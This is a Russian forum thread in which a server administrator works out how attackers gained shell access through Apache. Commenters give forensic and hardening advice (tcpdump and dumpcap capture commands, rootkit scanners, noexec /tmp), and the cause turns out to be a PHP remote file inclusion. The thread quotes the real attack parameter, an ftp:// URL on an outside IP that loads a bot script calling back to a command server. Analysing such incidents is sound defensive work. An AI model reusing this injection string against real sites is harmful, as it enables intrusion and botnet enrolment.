Какие-то хакеры набрели на мой сервак (Ubuntu 6.06 / Apache 2.0.55), и каким-то образом получили shell-доступ через apache.
Причём на том виртуальном хосте, через который они лезут, нет никаких PHP/Perl и прочих скриптов, значит они эксплуатируют какую-то уязвимость самого сервера.
Но в списке рассылки по безопасности Ubuntu текущих уязвимостей нет.
Так как же мне выяснить хотя бы что они делают, чтобы эксплуатировать дыру?
В логах только вывод в stdout тех shell-команд, которые им удаётся запустить.
Пару раз удавалось перехватить скриптики, которые они закачивают в /tmp. Качают при помощи curl/wget/fetch/lwp-download, я их всех поудалял или переименовал, но это временное решение.
Я хочу найти дыру в apache и как-то залатать ее, или написать багрепорт, но для этого нужно больше данных о тактике взлома.
Как дальше действовать?
РЕШЕНИЕ:
И всё-таки это была уязвимость в моём коде - банальный незащищённый include в PHP-скрипте.
Я долго рыл совсем не в ту сторону, а наставили на путь истинный меня результаты мониторинга трафика.
Исходя из открытых у меня портов, я давал каждый день такую команду:
1
2
|
sudo tcpdump -s 0 -w /var/log/tcpdump.cap host xxx.xxx.xxx.xxx and port not ftp and port not ssh and port not smtp and port not ftp-data and port not pop3
|
Когда рыбка в очередной раз клюнула, я нашёл-таки зловредный скрипт, и исправил его.
В процессе ценные советы давал, среди прочих,  albibek, и особо полезные выдержки из его постов я процитирую ниже под катом. Все остальные подробности смотрите в ветке. Всем участникам обсуждения спасибо!
Если есть место на диске, можно запускать tcpdump не в режиме мониторинга, а в режиме записи в файл. Если остановитесь на этой схеме, лучше даже поставьте wireshark, у него в комплекте есть текстовые утилиты, которые умеют не только собирать в файл, но и разбивать этот файл на части по размеру(советую делать не больше 0.5-1 гигабайта) и по количеству файлов, а старые логи ротировать.
Если хватит места на диске(вполне реально при небольшом количестве трафика), можно хранить дампы хотя бы за несколько дней, чтобы когда появятся полохие дяди, было что анализировать.
Всегда есть вероятность, что дяди найдут ваш tcpdump/wireshark и попортят или сотрут файлы. Поэтому и говорю, что лучше делать это на промежуточном узле.
Ещё если есть время и желание, можете покурить samhain. Замаскируйте его под мирный процесс, может удастся что-то обнаружить, когда начнётся активность.
tcpdump -i <интерфейс> -n -s0 -w <имя_файла_куда_писать> '<фильтр>'
-n - не ресолвить имена и порты
-s0 - (важно!)записывать пакеты целиком, а не первые X байт
Из комплекта wireshark утилита называется dumpcap
dumpcap -n -s 0 -w /tmp/testwire -b filesize:1000000 -b files:5 -f '<фильтр>'
Будет писать в кольцевой буфер из 5 файлов размером 1000000*1024 байт. Т.е. примерно 5 гигабайт в сумме.
Потом как соберёте можно дополнительно фильтровать при помощи editcap и объединять/делить файлы при помощи mergecap.
-
Версия апача старовата, может просто обновиться до последней доступной?
Плюс, посмотреть в Metasploit и на http://milw0rm.com/, может там есть какие-то эксплойты для апача твоей версии?
-
-
После устранения их способа проникновения надо же ещё поискать на предмет установленных руткитов или бэкдоров - для этого наверняка есть инструменты, я к сожалению, не в курсе :( Ну, по крайней мере, глазами посмотреть.
-
-
В моём Debian'е есть такие инструменты:
[cppmm@linux ~]$ apt-cache search rootkit
unhide - Forensic tool to find hidden processes and ports
chkrootkit - поиск руткитов
rkhunter - сканер руткитов, уязвимостей и эксплоитов
-
Ну можно из исходников апач собрать. С другой стороны, убунтовцы утверждают, что security-патчи накладывают по возможности и на старые версии. Так что тут надо подумать.
А за ссылки спасибо.
-
простите за нескромность, но чем вызвана необходимость использования именно такой старой убунты и зачем вообще ради апача убу поднимать?
-
-
*ради единственного апача
-
-
Необходимость использования именно такой старой убунты связана с тем, что нет времени с нуля весь работающий сервак переделывать на новой убунте.
Насчёт единственного апача это Вы сами придумали :) Я такого не писал.
-
-
Тогда вопрос.
А уверен, что именно через уязвимость в апаче получили shell? Просто из поста этого не понятно и виной какая-то другая дырка.
-
-
За апач говорят две вещи. Во-первых, вывод зловредных скриптов идёт в /var/log/apache2/error_log. Во-вторых, в списке процессов они видны как запущенные из-под пользователя www-data.
-
ubuntu можно обновить, а для таких целей как сервер, лучше наверное все таки использовать дистрибутивы ориентированные на безопасность.
Например http://www.openwall.com/Owl/
-
-
чет не могу понять, сколько в шутке доли правды
Owl 2.0 consists of Linux kernel 2.4.x (as maintained by us), glibc 2.3.6 (with our security enhancements), gcc 3.4.5, and over 100 other packages.
херакс
It offers binary- and package-level compatibility for most packages intended for Red Hat Enterprise Linux 4 (RHEL4), CentOS 4, and Fedora Core 3 (FC3). The Owl 2.0 userland supports Linux 2.6.x kernels as well, and it is usable along with OpenVZ (both for the host system and in containers).
однако самое замечательное, что последний релиз Owl-current от 2010/01/28 ...
йо в шоце
-
-
понял!!!
эта система непробиваема просто потому что никто уже не помнит, какие там баги...
-
-
Эта система непробиваема за счет стабильности и выполизанности компонентов. Сразу видно, с нормальными серверами вы дел не имели.
-
-
да правда ваша, просто я никогда не думал, что есть люди откапывающие старые исходники с собирающие (это ядро и gcc, понятно, хранятся по историческому принципу, из каких архивов остальное?!)
и реально интересно, где такие сервера работают...
-
-
пардон, нечаянно, ентер задел)
gcc на сервера вообще нельзя ставить. собрал - снес подчистую. потому как имея компилятор и уязвимое ядро, можно под конкретную систему собрать эксплоит.
-
Во-первых, тушите сервер до выяснения причин. Поищите файлы, которые явно вам не принадлежат. Обновляйте apache, однозначно. Поставьте SELinux.
Поищите в систему руткиты, левых пользователей, кроновые скрипты, замены стандартных программ типа passwd, su, sudo и т.д.
На вскидку, истребители руткитов: chkrootkit, rootkit hunter.
-
-
Потушить бы рад, да начальник не поймёт :) Поэтому и стараюсь "перебрать на горячую".
-
-
На горячую велика вероятность, что вы что-то упустите, потому как кто-нить сможет орудовать на вашей системе.
-
-
Не, ну поставить обновлённую версию апача и рестартануть его-то можно? На крайняк ребутнуть сервер по-быстрому.
-
-
В системе могли остаться какие-нить скрипты. Тогда все по-кругу пойдет. Если действовать по правилам, уязвимую систему нужно отключать. Вынимать диски и изучать уже из другого компа, не скомпрометированного.
-
-
Автор не может сейчас останавливать сервак, хотя, конечно это было бы предпочтительным решением. А про бэкдоры и руткиты я уже упомянул выше, но их можно искать и на работающей системе - главное устранить первоначальную причину проникновения.
-
В срочном порядке выкидывайте свою древнюю убунту. В тамошних ядрах были уязвимости, которые без особого труда давали рута в оболочку.
-
Оно конечно правильно, может быть. Но неужели каждый год убунту на работающем серваке обновлять? Как-то это неправильно. Security-патчи к ней до 2011 года должны выходить, вот я и хотел дотянуть. У вас есть пруфлинк на незакрытые патчами уязвимости ядра в 6.06?
-
-
> У вас есть пруфлинк на незакрытые патчами уязвимости ядра в 6.06?
К сожалению нет, названия уязвимости не вспомню.Помню, что до 22 или 26 ядра включительно все было уязвимо.
И на счет убунты, это не самый лучший кандидат на роль сервера. Вам нужен RHEL, CentOS или Debian, если оно ближе.
-
И на счет убунты, это не самый лучший кандидат на роль сервера.
Это почему? Не спора ради. У меня лично на убунте никакие серверов нет, просто интересно мнение.
-
-
Как минимум потому, что это в первую очередь десктопный дистрибутив. Программы часто внедряют новые, непротестированные основательно, в то время как CentOS или StartCom обновляют репозитории в большинстве случаев секьюрити-патчами. Слабая система безопасности (AppArmor менее надежен, чем SELinuxm хоть и проще в настройке).
-
-
Так выпускают же секьюрити-патчи. И какие именно серверные непротестированные основательно программы внедряют в десктопной Убунте?
-
-
Когда выходит свежая версия, скажем, постгреса, ее моментально включат в дистрибутив. Потестят может недельку, и ок. Для серверных дистрибутивов так делать нельзя.
Давайте не будем развивать флейм. Это просто аксиома.
-
-
На сколько я помню, в обновлениях приходят только security-патчи. Есть репозиторий backports, но его можно отключить, и там мало чего обновляется. А новые версии программ (тот же postgre) включаются только при следующем релизе дистрибутива Ubuntu. Поправьте если не так.
-
-
Новые версии программ включаются по мере их выхода.
-
-
Ну всё-таки по сравнению с Arch ребята из Ubuntu - консерваторы :)
-
-
Все познается в сравнении. Но Ubuntu слишком новатораская дла серверов, как ни крути.
-
Как минимум потому, что это в первую очередь десктопный дистрибутив.
Опять же не срача ради: Ubuntu Server Edition.
Я правда допускаю, что на тот момент (2006 год как я понимаю) небыло еще серверной редакции.
-
-
Непроверенное, сырое решение
-
-
Непроверенное где и кем? Кто эталон?
-
-
Непроверенное временем.
Эталон - RHEL.
-
-
В принципе согласен. Сомнительно разве что RHEL будет тестировать Ubuntu Server Edition.
-
-
Я к тому, что RHEL - эталон серверных дистров и де-факто стандарт. Кроме него, пожалуй, только Debian
-
-
Аа, в этом смысле :). Все равно - это не повод забить и не делать серверную версию :).
-
И всё-таки, вернёмся к исходной теме. Если не принимать во внимание радикальные меры вроде выкинуть убунту, и предположить, что виноват именно апач (аргументы я приводил выше), есть ещё методы выявления уязвимости кроме поиска по Metasploit http://milw0rm.com/ ? Может ещё какие-нибудь базы эксплойтов?
-
-
Для такой старой версии маловероятно, что найдут какую-то zero day vulnerability. То есть, используется что-то известное.
Вот этот не пробовал применить?
Вон ещё что-то гугл находит...
Вот просто список известных уязвимостей версии 2.0:
http://httpd.apache.org/security/vulnerabilities_20.html
-
-
+ http://www.securityfocus.com/bid/19204/info, http://www.securityfocus.com/bid/14106
-
-
Спасибо, надо будет попробовать, как разгребусь с параллельными делами. Пока что я, как уже писал, ограничился обрубанием инструментов скачивания. Атакующие, похоже, с другой стороны планеты, сейчас у них ночь, можно, пока их нет, поупражняться с эксплойтами.
-
-
Кстати, посмотрите по логам, кто это, и побаньте весь диапазон.
-
-
Так вот не вижу я в логах их IP, в этом и проблема.
-
Уязвимостей то навалом и они старые, инетересно почему на сервере стоит такая версия? Неужели из репозиториев не убирают дырявые версии?
-
на вскидку:
1. nmap - ищем открытые вовне порты, которые явно не предусмотрены быть открытыми
2. tcpdump - ручками и глазками начинаем мониторить трафик, постепенно отсеивая легальный и пытаемся найти нелегальный. если ваша система скомпрометирована, то рано или поздно он появится
3. локализация проблемы - ну тут уж однозначного совета дать нельзя. действуйте по обстоятельствам - отслеживайте куда/откуда/как/кем/какой программой
4. нашли - убивайте
это мой сисадминский практический опыт по выявлению нарушителей в локальной сети. с небольшими поправками можно применить и к вашей ситуации.
удачи!!!
-
-
забыл:
2.1 netstat - какие проги ждут/ожидают/установили соединение и на каком порту. тоже здорово помагает
-
По nmap и netstat уже давно шерстил - всё чисто.
Локализация - вроде локализовал, апач. Убить апач не могу :) Но дырку в нём найти хочу.
А насчёт tcpdump хотелось бы поподробнее. Как им грамотно ловить HTTP-трафик, чтобы не потонуть в потоке информации?
-
-
ну здесь очень широкое поле деятельности - я когда нарушителя отлавливал правила на несколько строк составлял.
вот парочка примеров:
tcpdump not port ssh
здесь мы указываем отлавливать весь трафик на всех интерфейсах, но при этом исключаем все ssh-сессии
tcpdump not host 192.168.1.10 and not port ssh
тоже самое, что и выше, только еще исключаем свой хост
в общем - начинайте мониторить весь трафик, постепенно исключая легальный. рано или поздно доберетесь до нелегального.
удачи
-
а по поводу именно HTTP-трафика:
1. отключаем/отсеиваем локальных пользователей
2. включаем tcpdump на http-трафик и смотрим одновременно с логом апача (на всякий случай tail -f /var/log/где_там_лог_апача.log). ну и сравниваем естественно.
занятие долгое но интересное :-)
-
to heavyrail
А от какого пользователя у тебя apache работает?Есть ли у этого пользователя оболочка?Как настроен sshd_config?Случайно по пустому паролю не пускает?
-
-
В SSH аутентификация по паролям отключена. Apache работает под пользователем www-data. В /etc/passwd у него была прописана оболочка /bin/sh, поменял на /bin/false - всё равно удавалось им пройти, насколько я понял. Неужели эта запись не играет роли?
-
mod_security это для апача, наружу можно вообще nginx какой нибудь выставить, пересобрав его с измением Server Info. chrootkit и прочее для проверки самого компа
tmp перемонтируем с noexec,nosuid,nodev var/tmp тоже. грамотно расставляем права доступа, чтобы от www-data просто никуда уйти нельзя было. через pam ограничиваем этого юзера, если всё идёт именно от него.
-
-
mod_security вчера поставил, но пока я не узнаю, как они атаковали, мне сложно будет его настроить на блокировку атак. Кстати, mod_security тоже позволяет менять заголовок Server, но только в случае отсутствия ошибок. Если ошибка - выдаётся истинное имя. Именно так nmap определяет тип сервера.
За /tmp и /var/tmp спасибо, попробую. Хотелось бы подробнее про ограничение юзера www-data в правах.
-
-
Там через pam можно, например, выставить ограничение на время исполнения процессов под этим юзером.
Я где то на ibm про всё это читал, сейчас уже не помню точно.
Про SELinux я в рассылке почитал, там набор ссылок предлагают:
Тогда вот цикл статей по SELinux который поможет освоится:
http://sapunidze.blogspot.com/2009/06/selinux-1-selinux.html
http://sapunidze.blogspot.com/2009/06/selinux-2-pam-sepermit.html
http://sapunidze.blogspot.com/2009/06/selinux-3-permissive-mode-vs-permissive.html
http://sapunidze.blogspot.com/2009/07/selinux-4-selinux.html
http://sapunidze.blogspot.com/2009/07/selinux-5-selinux-rbac.html
http://sapunidze.blogspot.com/2009/07/selinux-6-selinux.html
http://sapunidze.blogspot.com/2009/07/selinux-7-su-newrole-sudo-runinit.html
http://sapunidze.blogspot.com/2009/07/selinux-8-unconfined.html
http://sapunidze.blogspot.com/2009/07/selinux-9.html
http://sapunidze.blogspot.com/2009/07/selinux-10.html
-
-
Спасибо!
-
-
Ещё бы я включил tcpdump и смотрел бы что вообще на сервере происходит.
-
Вы уверены, что нет никаких "PHP/Perl и иных скриптов"? Просто похожая ситуация с апачем наблюдалась при использовании дырявой версии почтовой веб-морды RoundCube Mail. Из-за дырки в одном из скриптов веб-морды, появлялась возможность загрузки в /tmp сплоитов, которые вызывались с правами www-data.
-
-
О, действительно нашёл в недрах RoundCube. Правда, на другом виртуальном хосте. Видимо, пытался раньше его ставить, да не доделал. Тем не менее уже стояла блокировка - доступ только из локалки. Снаружи честно говорит 403 Forbidden.
А где можно подробнее почитать про этот эксплоит?
-
-
Версия RoundCube ниже 0.2 beta помоему...
Гугл сразу дает вагон ссылок http://www.google.ru/search?q=roundcube+exploit
Я вопрос решил снеся вообще роундкуб. Я дырявую версию поставил в стремлении получить более свежую чем в репах...
-
-
спасибо за тему и решение.
-
Удалось решить вопрос?
Если да то прошу решение в топик добавить, а в заголовок вписать РЕШЕНО
-
-
Нет, пока не удалось.
-
-
Если вам всё ещё нужна помощь, давайте по порядку:
Какие из утилит, которые Вам посоветовали(rkhunter, chkrootkit, tcpdump), вы попробовали?
Есть ли сейчас у злоумышленников доступ на сервер или после чистки они не приходили? Если считаете, что есть, то как определяете?
Если это не тайна, то хотелось бы знать не чего нет на сервере, а что там всё таки есть? Только статика или что-то ещё? Самописное или готовое?
Если не хотите полностью открываться в паблике, я готов вам помочь в частном порядке (бесплатно) пишите в личку.
-
-
Спасибо за участие!
rkhunter и chkrootkit ничего не нашли. tcpdump-ом пытался собирать трафик в последние несколько дней, но злоумышленники, похоже, оставили попытки. Но они в любой момент могут придти ещё, вот что напрягает.
На сервере не только статика, самописный мини-движок сайта на PHP, также есть AWStats и phpMyAdmin, но в нестандартных каталогах, и с ограничением доступа по IP. Roundcube удалил. Но судя по логам, злоумышленники заходили через тот виртуальный хост, где вообще ничего нет.
Каким-то образом инжектировали shell-код, и давали команды от имени www-data (один раз даже удалось перехватить последовательность команд).
Есть, кстати, ещё и такое подозрение, что они заходят и сейчас, но кардинально поменяли тактику - умудряются прямо из командной строки отправить целое письмо, ошибок нет, значит в stdout ничего не идёт, в логи тоже. Просто в очереди скопилось много писем бразильским адресатам, которые пытаются периодически переотправляться - и я не знаю, с прошлых раз это, или свежачок. Пока почистил, буду дальше смотреть.
-
В дополнение. Пробовал анализировать и применять различные эксплойты, из предложенных тут. Либо по каким-то причинам не подходит, либо делает не то, что "надо".
-
-
Логи сможете показать?
В движке уверены, что через него нельзя было влезть?
Есть ли возможность ловить трафик не на самом сервере, а снаружи, например через миррор-порт на свитче/роутере или на фаерволле/прокси?
Если есть место на диске, можно запускать tcpdump не в режиме мониторинга, а в режиме записи в файл. Если остановитесь на этой схеме, лучше даже поставьте wireshark, у него в комплекте есть текстовые утилиты, которые умеют не только собирать в файл, но и разбивать этот файл на части по размеру(советую делать не больше 0.5-1 гигабайта) и по количеству файлов, а старые логи ротировать.
Если хватит места на диске(вполне реально при небольшом количестве трафика), можно хранить дампы хотя бы за несколько дней, чтобы когда появятся полохие дяди, было что анализировать.
Всегда есть вероятность, что дяди найдут ваш tcpdump/wireshark и попортят или сотрут файлы. Поэтому и говорю, что лучше делать это на промежуточном узле.
Ещё если есть время и желание, можете покурить samhain. Замаскируйте его под мирный процесс, может удастся что-то обнаружить, когда начнётся активность.
-
-
У меня некоторые успехи. На ночь оставил tcpdump с такими же ключами, как Вы рекомендовали, и на этот раз злоумышленники попались!
Увы, заходили они совсем не на тот хост, про который я думал, и делали PHP-инъекцию. Только я не совсем понимаю, как.
В качестве параметра они передавали вот такую строку: topic=ftp://189.19.36.105/temp/pz.txt???
pz.txt - это шеллкод, можно скачать и ознакомиться (или могу выложить сюда), открывает шелл на порту 8060.
Проблема в том, что я не понимаю, как им удалось его загрузить?
Я сталкивался с подобными инъекциями и ранее, и теперь параметр topic пропускаю через фильтр. Кроме одного уязвимого места, которое выглядит как <? echo $alltopics[$topic] ?>, то есть просто осуществляет выборку из ассоциативного массива. Как же им удалось, подсунув туда левую строчку, заставить грузиться скрипт? Есть интересные моменты. Если я в браузере ввожу адрес с такой "бомбой" - ведёт себя так, как будто долго что-то грузит, но к шеллу присоединиться не удаётся. Если же убрать три вопросительных знака в конце, то выводится сообщение об ошибке, как и положено. Но если хоть один знак остаётся - тогда опять зависон. Вот сижу, думаю, как это распутать.
-
-
Эта уязвимость называется RFI - Remote File Inclusion
Можете почитать тут
Как бороться - тут
-
-
Почитал, осознал, сделал выводы. Спасибо!
-
Если сами не разберётесь, дайте или весь уязвимый скрипт или хотя бы побольше строчек - тогда можно будет разобраться. По одной строке очень сложно понять, как оно инклюдится.
-
-
Кажется, разобрался - был банальный include всё же. Как я уже говорил, параметры, передаваемые скрипту, в теории фильтровались, да вот только фильтрация почему-то не работала, как оказалось. Исправил, вроде заработало.
Возможно, на будущее налажу систему сбора трафика в кольцевой буфер на основе Ваших советов. У меня только самописные всякие костыли были, отслеживающие только подозрительные HTTP-запросы.
-
А, и ещё: скачайте себе сам скрипт бота по ссылке на ftp - посмотреть, как устроено и что он ещё умеет :).
Если к тому времени прикроют - скажите, я себе скачал уже.
-
-
Спасибо за ссылки, завтра буду изучать.
Скрипт я себе тоже уже скачал, похоже он делает не то, о чём я изначально написал: не на моём серваке шелл открывает на порту 8060, а наоборот коннектится к какому-то другому серваку, похоже, на Amazon EC2, у которого какой-то специфический шелл на 8060 (можно зайти телнетом :)), но что там дальше - пока не знаю.
-
-
Этот скрипт - бот с достаточно типичной структурой. Он коннектится на амазон, чтобы получать команды, которые он потом исполняет на Вашем хосте. Скорее всего сами злоумешленники к Вам на хост и не заходили. Бот сам умеет скачивать скрипты в /tmp и при их помощи проводить (D)DoS-атаки, слать спам или, например, обновляться(смотрел мельком, но если умеет обновляться, туда можно забивать любой функционал). Причём поскольку скрипт запускается в контексте apache, в списке процессов будет просто на 1 httpd больше.
-
tcpdump -i <интерфейс> -n -s0 -w <имя_файла_куда_писать> '<фильтр>'
-n - не ресолвить имена и порты
-s0 - (важно!)записывать пакеты целиком, а не первые X байт
Из комплекта wireshark утилита называется dumpcap
dumpcap -n -s 0 -w /tmp/testwire -b filesize:1000000 -b files:5 -f '<фильтр>'
Будет писать в кольцевой буфер из 5 файлов размером 1000000*1024 байт. Т.е. примерно 5 гигабайт в сумме.
Потом как соберёте можно дополнительно фильтровать при помощи editcap и объединять/делить файлы при помощи mergecap.
|
|
|
  |
|
Последние посты
|
|
|
Последние комментарии
|
|
|
Изменения
|
   |
|
Черновики (все)
|
|
|
Избранное (всё)
|
|
|
Есть вопрос! — [РЕШЕНО] Кто-то получил shell-доступ через apache. Что делать?
